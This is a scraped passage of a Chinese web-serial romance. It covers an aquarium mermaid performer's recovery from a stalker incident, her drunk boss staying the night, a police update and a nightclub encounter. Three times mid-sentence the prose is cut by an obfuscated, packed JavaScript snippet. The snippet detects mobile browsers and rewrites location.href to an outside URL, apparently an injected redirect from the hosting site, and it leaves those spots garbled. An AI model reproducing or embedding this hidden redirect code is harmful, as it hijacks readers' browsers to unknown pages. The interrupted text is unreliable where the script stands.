不止,还有一个谢薇的。 “你找了谢薇……” “你一直没接电话,我就找人事部,要了员工公寓的出租表。”裴涟不太从容的样子。 景音没说什么,若不是如此,裴涟今晚也找不到她。 只是没想到,他为了找她吃夜宵,还挺执着。 “对了。”裴涟突然出声。 景音忽地一阵紧张:“怎么了?” “你要不要顺便拿点洗漱用品。” “……” 见她迟迟不出声,裴涟微眯起眼:“你果真反悔了?” “……”景音看着自己的床,“我觉得,我得先试着自己克服一下。” “克服什么?” “克服……刚才那件事带来的心理阴影。” “哦。” 裴涟理所当然地点点头:“你真是一点没变。” “……” 既然已经决定了,她就下了逐客令:“你快回家睡觉吧。” 裴涟扬了扬眉,自嘲般冷笑了一声:“行。” 怎么就生气了。 送走了裴涟,她开始刷牙洗漱。浴室镜子里的人儿惨白着一张脸,眉眼间带着隐隐的郁色。 景音联想起什么,又或者只是牙刷捅到了喉咙,她干呕了一下。 没事,没事。 身上好像还带着点挥之不去的酒气,她决定还是洗个澡。 打开花洒,温热的水汽腾着暖雾,景音却迟迟没有站进去。 一些画面总是闪回在脑海里。 景音关上花洒,穿好衣服,回到了卧室。 “景音,你真没出息。” 她骂了自己一句,然后拿起手机,打了个语音电话。 那头秒接。 “裴涟。”景音嗫喏着声音,“你能不能回来陪我睡觉。” 如同电话被接起时一样的迅速,对面挂断了。 景音听着“嘟嘟”的空音,有些愣怔。 是不是她用词太过直接,导致裴涟以为,她在骚扰。 下一秒,房门被敲响了。 不同于那男同事敲门时的巨响,这声音又轻又缓。 听着,就十分有礼貌。 景音下了床,心里带着几分猜测开了门。 裴涟站在门外,散漫地双手插兜,淡色的眼眸轻睨着她。 “……你没走啊。”景音挠头。 裴涟嗯了声,径自进了门。 景音这里没有准备男士拖鞋,只好找出一双自己夏天穿的塑料拖,让他将就一下。 等裴涟脱掉外套,神色怀疑地踩着粉色拖鞋坐在沙发上,她才叹了口气。 裴涟微微侧了侧头,双眼直勾勾瞧着她:“又后悔了?” 景音:“……” 裴涟站起身,朝着厨房的方向走了过去。他打开冰箱上下巡视了一番,拿出了一瓶啤酒。 拉开拉环,仰头喝了下去。 景音看傻了:“你在干什么?” “我喝酒了。”裴涟放下喝空的啤酒罐,“没法开车回家,酒驾。” 景音:“……” “打车太贵,不想打车。”他又冷着脸补了句。 景音:“不是,你不是不能喝酒吗?” 裴涟:“……” 景音扶额:“算了,大神。我去收拾一下次卧,你早点睡。” 这公寓本也是两人间,景音虽然独住,但从未占用过次卧。 她打开次卧的门观察了一眼,然后从自己房间找出一套换洗的床品,又顺手找了件自己oversize的最大号大T恤,回了次卧。 景音的视线被被子阻挡,直至把怀里的一堆放在床上,才看见,裴涟移形换影般地,已经坐在床上了。 也不说话,就坐在这吓人。 景音挑了挑眉:“没事吧你。” 裴涟摇摇头。 “呐,这是给你的睡衣,将就一下吧。”景音把那件T恤塞进他怀里。 裴涟抱着T恤,似乎很犹豫。直至景音开始铺床,他才站起来:“我自己铺。” 除了动作有点慢,别的方面还挺正常。 酒精应是还没这么快上头。 景音狐疑地拍拍手:“那我去给你找牙刷。” “嗯。” 她从卫生间找出一套新牙刷,又准备了条新毛巾。出了卫生间,发现裴涟正坐在沙发上,玩她的游戏机。 景音:“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579849|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不困?”她试探性地问了一句。 得到的答复是:摇头。 景音好奇他在玩什么,过去看了一眼,发现裴涟的角色在原地转圈圈。 她有点想笑。 “好玩吗?”她问。 “嗯。”裴涟点点头,“好玩。” 确实好玩。 “可是很晚了。”景音觉得自己像在教小朋友,“该睡觉了,好不?明天还要上班。” 裴涟抬起头,神情有些疑惑:“你还要上班?我给你准假。” 景音挑眉,有点搞不清楚,他这到底是什么精神状态? 比平时呆愣不少,又好像挺明事理。 “本来我想辞职的。”景音阐述,“后来想了想,我要是也走了,海洋馆会……” 她闭上了嘴。运营海洋馆的方式就那几样,没有人鱼表演,海洋馆估计很快就会引进别的海洋动物表演。 虽然裴涟说过,不会同意股东的请求。但是,作为运营者的视角,那是理所当然的选择。 裴涟神情变得有些郁郁不乐。 景音坐在了他旁边,缓缓开口:“我跟你说个事情吧。你知道我为什么想去当美人鱼吗?” 裴涟摇头。 “你还记不记得小猪,就是那条白鲸。”景音自顾自说了下去,“我第一次见到它和它的同伴们的时候,它们身上全是伤。” “这些伤并不是训练员打的,而是划痕。以前上大学的时候听老师说鲸豚会有这种行为,我还是第一次见……它们自己在水池里划的。” “白鲸听力很灵敏,但听着海洋馆的滤水声,相当于每天生活在噪音污染中。它们又很聪明,所以日复一日的刻板训练,无异于一点点抹灭它们的个性。狭小的活动范围、为了训练常年保持饥饿……种种条件,都让它们出现了严重的焦虑,甚至有自残行为。” “后来的某一天,有两只白鲸,自杀了。” 裴涟默默听着,没有说话。 景音不知道他是否能听明白,只继续讲:“那一阵,我心理状况也不好,经常来海洋馆坐着,让自己沉浸在恐水的状态中,其他可怕的念头就会少很多……有一天,我听见馆里的员工在讨论这件事,恍惚之间仿佛看见了自己的未来。但是我也听到了,还有一条白鲸活着。” “你知道我学的专业,我无法再坐视不管。于是,我锻炼自己克服了恐水,去学潜水,考美人鱼证。幸好我回来的时候,小猪还活着。”景音浅笑了下,“我向王馆长自荐,他正愁经费不足买不起能表演的动物。于是,我代替了小猪,让它退休了。” “所以我不能辞职。”景音抿了抿嘴,“因为我心软。这大概是这个世界对我的折磨。” “不是。”裴涟摇摇头,“这是世界为自己保留的创可贴。” 景音愣怔良久,突然鼻子一酸,眼眶内绪起了泪。 她转过头,擦了擦眼。 “好了。”景音站起身,“你该去刷牙了。” 裴涟有些乖地点头:“嗯。” 果然,不像是很清醒的样子。 景音轻轻舒了口气,回了自己房间。 今晚实在太漫长,景音躺回床上,有些头疼地揉了揉太阳穴。 她不想去深思晚上的事。路图和那个娃娃、他会受到什么惩罚、他是怎么发现自己藏在心底的隐私,任何任何,她都从脑海里赶了出去。 裴涟洗漱的声音依稀可闻,景音听着听着,睡意逐渐朦胧。 刚要闭上眼时,房间门被敲响了。 景音强撑着自己起了床。 她打开卧室门:“怎么了?” 裴涟已经换上了景音给的T恤,露出了精瘦好看的小臂,隐约能看见微起伏的肌肉线条。 他发梢仍挂着未擦净的水珠。透明的水滴雨点般划经他上挑的眼尾,最终划过脖侧,在那红痣周围留下条水痕,无端惹人遐想。 景音有些呆愣住。 “我刚才看见你好像哭了。”裴涟神色无比认真,琥珀色的瞳懵懂凝着她,“我让你亲一下,你别哭了,好吗。” 18. 留兰香薄荷 景音脑袋仿若“嗡”地回响。 她移开了视线,一眼都不再多看:“你喝醉了。” “没有。”裴涟语气笃定。 景音不由分说合上门。 门被他又推开:“我酒量变好了,这几年也是有练过的,你别不信。” 景音蹙了蹙眉,她实在没法没法相信,清醒的裴涟会说出刚才那句话。 “好,我知道了。”她敷衍着,“你厉害,我信。快回去睡觉吧。” 她欲再关门,但裴涟的胳膊撑住了门板,她推不动。 景音有些头痛:“又怎么了?” “我担心你。” 裴涟眉头微拧着,眼神却清澈诚恳,不似在说假话。 景音没见过这种喝醉的人,看着和正常人没什么两样,却又语出惊人。 大一那阵子,他明明还不这样的。 有次景音哄骗他喝酒,一杯下肚,人就醉倒不省人事,哪有功夫说胡说八道。 如此对比看来,裴涟倒也没说假话。他酒量确实有进步。 景音提起了耐心:“我没事,你看,没再哭了。” 她手指着眼睛,让裴涟看。 裴涟:“你哭过?” “……” 这是又忘了? “没有。”景音拒绝承认。 “哦。”裴涟礼貌点点头,“那我回去睡觉了,晚安。” “等等。”景音叫住他。 裴涟听话站定,淡然瞧着她。 平时那副冷漠板正的样子依然可见,只是多了些景音从未见过的乖顺。 这幅模样,让她难得起了点戏谑的心思。 但她还拿不准,裴涟醉到什么程度。 “我们玩个游戏,我说一句,你学一句,好不好?” “好。” 景音沉思半晌,说:“活了很久的人叫寿星,活了很久的公司叫寿司。” “活了很久的人叫寿星。”他有些迟疑,“活了很久的公司叫,寿司。” “你记住了,四个字,是三个字,而三个字,是四个字。” 裴涟好像觉得哪里不对,但还是跟她重复:“记住了,四个字是三个字,三个字,是……” “噗……”景音轻轻笑了。 这记忆力,下降得厉害啊。 景音敛了眉眼:“你还能想起来,你刚才敲我门的时候,说过什么吗?” 裴涟坦然摇摇头。 算了。 还是别逗得太狠。万一明天清醒之后,他又记起来了,不得找她算账? “没事。”景音轻推他了一下,“回去睡吧。” 转变在一瞬间。 裴涟忽然捏住她的手。下一秒,她被他转了个身,抵在了门板上。 清新的留兰香薄荷,是她牙膏的香气。 有水珠从他发尖滴落在她面庞,冰凉又轻盈。 裴涟的脸近在咫尺。景音没看清他的神情,只觉他俯下身子,湿热的气息轻扫在她脸颊。 然后,他在她额头,小心翼翼印了一个吻。 景音像被定住,脚下生了根,再无法动弹。 半晌,裴涟抬起头,扇一样的长睫半遮了他的浅眸。 他盯她的脸,低哑着声音:“想起来了。” 景音:“……” 她将他推开,脑海乱作一团。 坏了。 真的逗过头了。 “你……” “你不能怪我。”裴涟有点理直气壮,“我喝醉了。” 刚才不是还不承认吗!! 景音咬咬牙:“行。知道自己喝醉了,就回去睡觉。” “……哦。” 他嘴上答应着,却不肯走,双眸不舍地在她脸上看了又看。 景音正义执法:“睡觉!” 裴涟身躯一震,像是吓了一跳。这才放开她,慢慢走出她房间。 景音被他这反应给气笑了。 刚要关上门,裴涟又转过头:“晚安。” “……晚安。” 算了,跟一个喝醉的人生什么气。 景音躺回床上,觉得脸庞散发着热气。不用照镜子,她也知道自己的脸一定很红。 没想到,大一那年躲了一整年他的吻,居然在这么多年后,还是没能躲掉。 景音辗转反侧,愣愣想着方才的触感。 只能期待……他明天早上,什么都不记得。 次日,景音被手机闹铃吵醒。 她按掉闹钟,呆坐了一会儿,听见外面有些声音。 这才反应过来,裴涟昨晚睡在了她公寓。 她猛地清醒了。 换好衣服后,她小心打开卧室门。 声音是从厨房传过来的,裴涟应是在做早餐。 景音选择先去洗漱。收拾完毕后,厨房的油烟机声音也被关掉了。 她带着两分期待去了餐厅。 裴涟正好端着两碗面放在餐桌上,一碗躺着一个焖蛋。油香四溢,面条色泽鲜亮亮的,看起来很不错。 他居然会做饭,这有点超过景音的想象。 “厉害。”她恭维。 裴涟显然不吃她的奉承:“一般。” 对上他漠然的眼神,景音瞬间想起昨晚睡前的一幕。 他应该……不记得吧。 景音不好意思说话,裴涟一向也安静。两人沉默地用完了餐,裴涟又收拾了碗筷,进厨房把碗给洗了。 他这么勤劳,景音还真有点不好意思。 “你收拾好了就先走吧。”她伸头向厨房里喊了一声。 裴涟没吱声。 景音猜他应该是默认了,便回房间开始化妆。 收拾完毕,她出了卧室,发现裴涟竟还坐在沙发上。 看见景音出来了,裴涟也站起身。 都到这份上了,景音只好主动出声询问:“……一起上班?” “嗯。” 裴涟冷着脸,拿起车钥匙出了门。 景音忙跟上。 两人尴尬地等电梯。 景音不敢吱声,趁机回忆了一下,昨天他喝醉前,好像就是这个状态。 他在气什么来着? 好像是,气她出尔反尔,说好了去他家睡觉,又后悔了。 可是,她和裴涟本来也只是上下属的关系,突然去老板家睡觉,像什么话! 因为这个跟她怄气? 景音微恼,决定也不理他。 两人进了电梯,谁也不看谁。景音摁下一楼,电梯却在某层停住了。 门“叮”一声打开,露出了谢薇和另一个女同事严肃讨论的脸。 四人面面相觑。 直到电梯门要自动关上,谢薇才卡进一只手,挡住了闭合中的门。 景音一个头两个大,从电梯门的反射里,看到谢薇在疯狂给自己挤眼神。 她无法再无视下去,呵呵一笑:“阿薇,走,一起上班啊。” 谢薇一脸问号,却还是接话:“哦,好啊!” 裴涟垂下头,往谢薇的方向瞅了一眼。 电梯正巧到了一楼,门应声而开,谢薇干笑了下,拉着那个女同事窜没影了。 景音:“……” 发生了什么。 上一秒不是还答应她了吗! 现在怎么又跑了! 裴涟冷哼一声,出了电梯门。 景音只好默默跟在他身后。 那辆稳中带骚的暗银色轿跑就停在楼下。裴涟走到车边,径自打开车门,发动了车。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592937|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>景音趁这时顺着路边溜了。 公寓出门一个路口外就是海洋馆,她步行只需要几分钟。景音默默赶路,然而,身后车子发动机的声音越来越近。 裴涟的车跟在了她身边,她挪一步,车就挪一寸。 景音停下脚步,副驾驶的车窗顺应降下。 “有什么事吗。”她微微一笑。 裴涟目光瞄了眼副驾驶:“上来。” 景音再次送了他一个假笑。 “不上来,我就一直跟着你。”裴涟转回头,目视前方。 景音受不了了,拉开副驾驶的门,坐了上去。 她刚系好安全带,裴涟就踩了油门。车上放着缓缓的蓝调音乐,一并把景音的心情悬在空中荡啊荡。 她本不想坐的。被谢薇她们看见已经不知道会如何收场,如果又被别的同事发现她从裴涟的车上下来,全体员工明天起,见到她就能改口叫一声老板娘。 但是她不上车的话,裴涟的车就要一路跟着她去海洋馆。 ……更惹人注意。 如果她有罪,请让法律制裁她,而不是坐老板的车上班…… 没几分钟,车就开进了海洋馆,直停在行政楼门口的停车场。景音做贼似的从裴涟车上下来,却看见停车场里,有几辆陌生的车。 有豪车,还有一辆警车。 这个时间段,海洋馆还没对游客开放。 她没想太多,就要开溜。 “去哪。”裴涟关上车门。 “?……”景音迷惑,“我去上班。” “先来我办公室。辛警官找。” “……哦。” 辛警官是昨晚负责景音案子的警察。 “怪不得你要我坐你的车。早说不就行了。” 裴涟没搭理她。 ……行。 景音也没跟他多说话。 景音跟在他身后进了行政楼。还好在楼道里,没再遇见什么同事。 上了三楼,裴涟推开办公室的门,景音才发现,这里居然塞的满满当当。 辛警官和另外一名警察坐在沙发上,旁边还站了三个陌生人。 女的穿着毛皮大衣,看起来金贵富态。另外两个男的,一个是西装革履的中年人,另一个年级比较大,头发都有些白了,身上的冲锋衣也很质朴。 景音微蹙眉头,觉得事情不太妙。 “来了啊,小裴,”离门最近的西装男人拍拍裴涟的肩,“等你好久了。” 裴涟扫了他们一眼,声音沉静:“你们先出去。” “这……” 男子回头看了另外两人一眼。那年龄大些的男人摇了摇头,三人交换了眼神,先出了门。 剩下辛警官和她的同事,从沙发上站了起来。 “你们好。”辛警官同他俩一一握手,“我今天来,是发现了一些新线索,还有点事想调查清楚。” “您说。”裴涟示意他们坐下。 辛警官看起来约四十岁,是个精瘦高个的女人,眼神矍铄。 她摆摆手:“不坐了。裴涟,麻烦你配合一下,在外面稍等。” 裴涟点点头,走出去关上了办公室的门。 辛警官这才开口,声音温柔了一些:“景音,我有问题问你,姜紫璇、李凌、韦雅霜这三人,你认识吗?” 景音摇了摇头:“不认识。她们是谁?” 辛警官和另一名警察对视一眼,才告诉她:“是和你一样的受害者。” 景音怔住。 “我们在路图的衣柜还发现了三顶自制发套,都来自于不同的女性。还有他网购的其他女性真发套。” “……发套?” 辛警官点头:“对,他对女性的头发有极端的喜好,通俗来说,他是个恋发癖。” 19. 兼职 景音有些惊愕。 “我刚才说的三人,是在他交待那几顶发套来源过程中问出来的,都是他曾经接触过的女性熟人。” “……” 辛警官拍拍她的肩:“好了,那我们没什么要问的了。” “他会受到什么处罚?”景音只在意这个。 对方有些沉默。 “因为此前并没接到过相关的报警,所以,现在还在调查是否有人受到过别的伤害。调查清楚后,会通知你的。”辛警官说。 景音点点头,表示理解。 路图除了收集她的头发,并没对她做过什么实质性的伤害行为,估计警察也难以定性。昨晚应是那个男同事的行为更恶劣些。 不过,辛警官来的这趟,对她来说很重要。 景音居然觉得心里轻松了不少。 道别后,辛警官拉开了办公室的门。走廊里,裴涟正在听那三人讲些什么,看见警察走出来,他们止住了话题。 辛警官语气沉缓:“裴涟,你来一下。” 裴涟似乎乐得脱身。他低眸瞄了景音一眼,跟着警察下了楼。 走到行政楼外,辛警官才同他讲话。 “这段时间,你多留意照顾一下她的情绪,注意不要再让她受到什么刺激,不然对她心理恢复效果不好。” “好的。”裴涟点点头,不疑有他地继续问,“这种心理伤害,一般会持续多久。” “每个人心里承受能力不一样,对一般人来说,这种影响都是长期的,何况是她。我们现在主要怕她产生一些极端行为,所以才去咨询了她的医生,是医生建议我们来跟她交代一下案情进度。” 裴涟越听,眉头越皱的紧。发现事情好像跟他想得不一样后,他缓缓开了口:“……病情?” 辛警官的嘴巴张开又闭上。 “你不是她男朋友?”她瞪着裴涟。 “不是,我是她……好朋友。” 她难得露出了窘迫的表情:“那她身边,有没有人能照顾她?” 裴涟确实不清楚。 “她有什么病?”他追问。 辛警官叹了口气,却摇摇头:“这是她的隐私,你既然不知道,我们也不方便告诉你。” “……”裴涟沉默两秒,“我给她放段时间假,让她回家住一阵子吧。” 辛警官:“她父母已经都不在世了。” “……” 裴涟有些错愕,心里空茫一片。 他从来都不知道,关于景音的这些私事。 辛警官亦叹了口气。 “我会照顾好她的。”裴涟紧抿了唇。 辛警官没说什么,看了他一眼,点点头。 送别了警察,裴涟重新回到楼上,脚步比方才凝重了些许。 走廊里的几人已经进了屋。裴涟回到办公室,发现景音还留在这里,站在房间一角,偏执地瞅着天花板发愣。 他垂下眼,坐回办公桌后。 “那咱继续刚才的事说。”西装男瞥了一眼景音,毫不客气开口,“姑娘,你找裴总还有事?要不你等等,我们有点要事商量。” 景音眼神执拗地回看着他。裴涟眼神带刺似的,克制又漠然地开口:“她在这没事,说。” 西装男挑了挑眉,单手撑在了办公桌上。 “那我说了啊。我在汤崇湾那认识的人说,他们馆里有一对退役的表演海豚,可以低价卖给我们,这——” “不买。” 裴涟面无表情,似乎懒得再听他说下去:“这件事没有商讨的余地。如果你们来就是为这一件事,那,请回。” 西装男神情明显不悦。后面那富态女人拍了拍他,插进了话: “小裴啊,年底也快到了,如果馆里还是和去年一样收益的话,大家过年都发愁。你看你孙叔——”她指指站在门口的冲锋衣男人,“今年生意赔了那么多,现在就指望着这点分红,我们经验都比你丰富,你——” “去年馆里没有白鲸表演?带来的收益很高吗?” 这话成功让女人噎住。她正欲再说时,裴涟抢先一步开口,声音又冷又缓: “我不是不在乎股东的分红,新一年的运营方案明早会发你们传真,改动较大,看完有疑问的话,欢迎再来商讨。” “但是,不引进动物表演,是我的底线。” 西装男似乎被他这决绝的态度气到了,冲他摆摆手:“得,等着吧,我们股份小,说话你听不进去。你等着那个隐名的大股东找你吧,人不着急才怪。” 他带头打开了门。那姓孙的大叔关门前,意味深长看了裴涟一眼。 裴涟亦从容看着他们出了门。 直至听见门外的脚步声渐远,景音的神色才缓和下来。 “这三人还挺难缠。”她仍不太痛快的语气。 “他们和你同事一样,觉得我是冤大头。看我带着资金来,就想让我填上动物表演这个空挡,从我身上多榨取点价值。” “……” “为什么要这样索取。”裴涟语气嘲弄,“明明他们想要的好处,我都会给的。” 他打开了电脑,靠回椅背。景音听见楼下已经响起了晨练的歌声,她不愿动,仍窝在沙发里,深思了很久。 直到音乐声结束,景音才站起来。 “我先回去工作。” 裴涟点点头,示意她自便。 景音回到剧场的办公室,许晏霖已经坐在里面了。 看见景音终于来了,她有点激动。 “景老师,你看群了吗?小路犯什么事了,怎么被开除了?” 景音忙打开手机,找到【珍珠岛大家庭】群,看见十分钟前发了一条新消息。 L:[图片] 图片内容是一张通报。上面写着,因严重违反员工守则,路图和另一名饲养部的员工遭到开除处理。 那一人,景音猜应该是把她扔进路图宿舍的人。 再往深了猜,景音觉得他应该是邓昌安的徒弟。 邓昌安为人刻薄又脾气差,能有这么个替他出气的“好徒弟”,也算是臭味相投了。 “没事。”她安慰许晏霖,“他们人品作风有问题。别紧张。” 话音未落,群消息又响了。 锤头鲨:@L,裴总,有空记得改名哟。 噗…… 景音没绷住,笑出了声。 难以脑补裴涟现在是什么表情。 许晏霖好像挺开心的,松了口气,坐回椅子上。 景音手机再次响起来。她以为是群消息,看了眼,居然是裴涟的私聊。 L:「招个女潜水员?」 景音无所谓地瞧着屏幕:「不用特意要求性别。」 对面没回复。她想了想,又打字:「辛警官说路图是惯犯,所以这次算我倒霉,问题并不是出在我身上。」 对面好像在忙。景音看了眼群,裴涟也没有回复。她放下手机,跟许晏霖说了一下,暂时由她代做潜水员几天。 许晏霖这几天学得很快,背着氧气罐潜水对她来说已经很熟练了。 临近表演时间,景音又看了眼手机。 已经收到了回复。 L:「就算他不是惯犯,这也不是你的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617786|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。」 可能看她也一直没回,他又发来一句:「知道吗?」 景音盯着这两行字,眸光轻颤。 指尖轻触着屏幕,她回:「知道了。」 —— 夜店的一角卡座内,空气都弥散出和周围外截然不同的暧昧氛围。灯点扫过来时,依稀能看见一头金色卷发男子,懒搂着个漂亮的女人,两人如胶似漆。 而男人神色却心不在焉似的,时不时看一眼手机。 过了会儿,卡座外走来个人,站在沙发边不动了。 裴涟挑眉看着那金发男人,懒倦的眼神透露出明显的不快。 金发男子冲他一笑,然后低下头,对怀里的女人说了些什么。女人听完,嗔怒似的推了他一把,利落站起身,踩着高跟鞋走了。 临走前,不忘冲裴涟抛了个媚眼。 “坐吧。瞅你那性冷淡的样。”程涣舒拍拍沙发,“新成怎么还没来?不是他约的我们吗?” 裴涟没理他,招来了个酒保:“蓝莓冰乌龙。” “当上老板是不一样啊。”程涣舒眼神戏谑,“来酒吧,都喝茶。” “酒戒了。”裴涟轻敛眉眼。 程涣舒挑眉:“什么时候?” 裴涟倚在沙发上,漫不经心扫了程涣舒一眼:“从今天开始。” “好,好。”程涣舒捧着他,边看了眼手机,皱了皱眉,“新成让我们去门口接他。” “你去。” “一起去。” 裴涟从容地移开目光。程涣舒咬牙切齿了两下,站起身子。 过了会儿,拖着烂醉如泥的胡新成回来了。 “……”裴涟甚无语,“喝成这样了,还要继续喝?” “刚才和我发小喝的。”胡新成闷烦挥了挥手,瞬间陷进沙发里,“现在和你们喝,不一样。” 裴涟挑眉看了眼程涣舒。程涣舒做出口型:失恋了。 原来如此。 脑海中莫名响起道清丽的女声,柔音问他:他俩在一起多久了? 裴涟若有所思,那人,问的可真巧。 程涣舒大手一挥,几乎把店里的好酒都点了一个遍。胡新成看着摆了一桌的酒瓶,饶是扬言今晚不醉不归,也有几分被震慑到了。 “你这不是想让我喝醉。”胡新成眼皮微跳,倒是恢复了一点理智,“舒啊,你是想让我喝死。” “没事,喝不完,你涟哥买单。” 裴涟:“?” 程涣舒:“谁让你来酒吧喝茶。” 裴家和程家是世交,两人从小穿一条裤子长大。程涣舒向来爱开没轻没重的玩笑,裴涟早已习惯了。 他没放在心上。酒保正好送来他的乌龙茶,裴涟小口啜着,隔壁突然走过去一排年轻男人,气质各异,但个子都高,五官也都挺清秀。 “这是哪家富婆点的男模?”程涣舒讶然,“好家伙,四五六七八……把这家店的男模包了啊!” 裴涟兴致盎然,看着那伙人排队进了走廊深处一个包间。灯光交界处,他突然在那半开的门缝中看见两个女人,一个一脸兴奋,另一个,脸上带着茫然的好奇。 裴涟:…… 他扭过头,冲胡新成没好气地:“你那前女友在哪呢。” “涟哥,你要为我报仇吗?”胡新成带着点委屈,“哥们太感动了,但是不用了。这段感情中,我也有不对的——” 裴涟没功夫听完这句话。他站起身,跟在那一队男人最后面,进了包间。 程涣舒&胡新成:“……” 胡新成傻眼:“涟,涟哥今晚,还有兼职呢?” 20. 弱点 景音以为自己喝多了。 看了眼桌上,五瓶啤酒而已。 还不至于,把方小芸点的男模,认成裴涟? 昏暗的光线下,排在末尾的男人越看越眼熟,连眼角的冷意都和裴涟一般无二。 就是脸色怎么这么臭? 比今早裴涟本人起床的时候还生气。 这么一副表情,看起来,更加不顺眼了。 景音也变脸似的严肃起来。旁边方小芸已经烂醉,招呼着进来的男人们:“找地方坐,爱喝就喝别客气,今晚全场消费由你芸姐买单!” 听她这么说,景音才放下心来。 世界上长得像的人那么多,指不定,这家夜店就是收集了这一款呢! 她放开胆子,鬼迷日眼招呼指着那“低配版裴涟”:“就你,过来,坐我旁边。” 裴涟挑挑眉尾,拨开几个往方小芸身边凑的男人,坐在了景音旁边的沙发上。 身边人嘴里嘟嘟囔囔的:“白天敢跟我发脾气,晚上就把你白嫖喽。” 裴涟:“……” 景音酒品很差,他是知道的。 差到,当年为了甩掉他,可以当众亲他的脖子调戏羞辱。 然而说完那句话,身边的人却没有进一步的动作。 反而一改刚才的神态,规规矩矩坐着,和上课听讲似的。 旁边方小芸和一众男人已经开始猜拳。哄闹笑声中,景音眼瞅看着他们的方向,好像有点向往。 “他们怎么不带我玩?”她声音可怜巴巴的。 裴涟冷瞅着那边,漫不经心的语气:“有我在你旁边,他们不敢过来。” 这没说谎。那帮人都互相认识,想当然觉得裴涟是和景音她们一起的客人。 除非是傻子,才会来招惹和男客人在一起的女客。 “啊。”景音有点伤心,“那好吧。” 怎么听着还不太甘心? 裴涟淡挑了冷峻的眼尾,人声喧闹,他只好悄声凑到她耳边:“你可以过去。” “不去。”景音起了一点鸡皮疙瘩。 男人的气息扫在耳边,威胁带着挑衅的语气:“为什么?” 景音摸了摸鼻子:“我喜欢你这一款的。” 裴涟:“……” 这是,没认出他? 裴涟微眯起眼。女孩儿懒懒散散倚在沙发上,自他坐下后,就瞥过头,没敢看他一眼。冷白的脖颈上遗落两缕黑亮的发丝,神态是少有的惺忪懒散,和平时认真亲和的模样相距甚远。 再看桌上,散落一桌空酒瓶。 看来,的确是喝得挺多。 他轻笑,昨天自己醉,今天她醉,倒是还挺公平。 他心中微动,又靠得近了些,刻意压低声音惑着人:“是因为……我和你某个认识的人,长得很像?” 景音仿佛不适应这样的近距离,往另一边挪了挪。 “这都被你猜到了。”她呢喃。 裴涟轻提了唇角:“你也,喜欢他?” 她果断摇头:“我不喜欢他。” 裴涟睫羽轻颤,绷直的背微顿,然后缓缓松懈了下来。 整个人仿佛泄了气。 他正回了身体,耳边却又传来她浅浅凝聚起的轻柔声音:“应该吧。” “应该?”他像抓住了什么精细的线索,紧追不放地问,“为什么说应该。” “因为……” 景音陷入极深的凝思。纤长手指似是无意识般移上了唇瓣,她皱着眉开口:“因为,我好像,还挺喜欢他的身体。” “……” “???” 裴涟第一反应是迷惑。 第二反应是,这姑娘是不是又在装醉调戏他。 但看她有点后悔的神色,仿佛在懊恼自己一时嘴快,对陌生人吐露了心声。 又觉得,这不像在演戏。 裴涟心情有点复杂。因为,这话其实听着有点熟稔。 昨天,听路图说过类似含义的话。 当时他只当路图在血口喷人,后来景音的状态也不适合再问,他也不想再提那时的细节。 他想起那间湿漉漉的浴室,路图压抑怒吼的声音:“你对他的那些想法,和我有什么区别?” 路图说的,指的是……? “你别误会了。”景音突然戳戳他的胳膊,“我的意思是,他也就能看个外表,其它的一塌糊涂,尤其是那个个性,无趣又冷漠,啊!” 她突然小声嚷了起来:“他肯定性冷淡!” “……” 裴涟半脸黑线:“你别胡说。” “谁冷淡?”方小芸听了个正着,“哦,你裴总啊,看着是挺冷淡的。” “……” 裴涟都快忍不住开始怀疑自己。 “所以我才要你坐我旁边嘛。”景音开始笑嘻嘻,“快,用你那个差不多的脸撩撩我,让我过过瘾。” 景音好像终于给自己确定了今晚目的。她转过头,仔细看着身边的人。 清冷自持的一张脸,淡色的唇微抿着,耐人寻味的眼神瞅着她,看不出喜怒。眼尾上挑的弧度,竟然和裴涟一模一样。 景音才缓缓反应过来。 这他爸的好像根本不是什么男模。 这就是裴涟本人。 四目相对,无声胜有声。 可能她的震惊与崩溃都写在了脸上,半晌,裴涟已经读懂了她的心路历程,主动打破沉默:“过两天,我要去出差。” 惊觉这人居然有如此淡定的消化能力,景音也努力把自己拉到统一水平线上。 她目光移开:“哦,去呗。” 他的指尖在沙发上点了又点:“我打算去考察国内几个知名海洋馆。” 景音暗自恼火,这人是不是有什么毛病,跟在男模队伍里混进来,就为了告诉她要去出差? “……好的。”她干巴巴回应。 裴涟还带着些不爽的冷笑,但,总归是笑了。 他笑起来,可真好看。 景音恍然发现,这是今天第一次看见他笑。 “你不生我气了?”她脱口而出。 这话题转的,裴涟成功一愣。 “我生你什么气。” “那你早上板着脸干什么。” 裴涟又变得没有表情。 景音以为他又想起来了,但紧接着听见他低沉着声音说:“昨晚对不起。” “……?!” “你遇到了那种事,我还……” 他言尽于此,后面的话,被尽数吞了回去。 景音:“……” 靠。 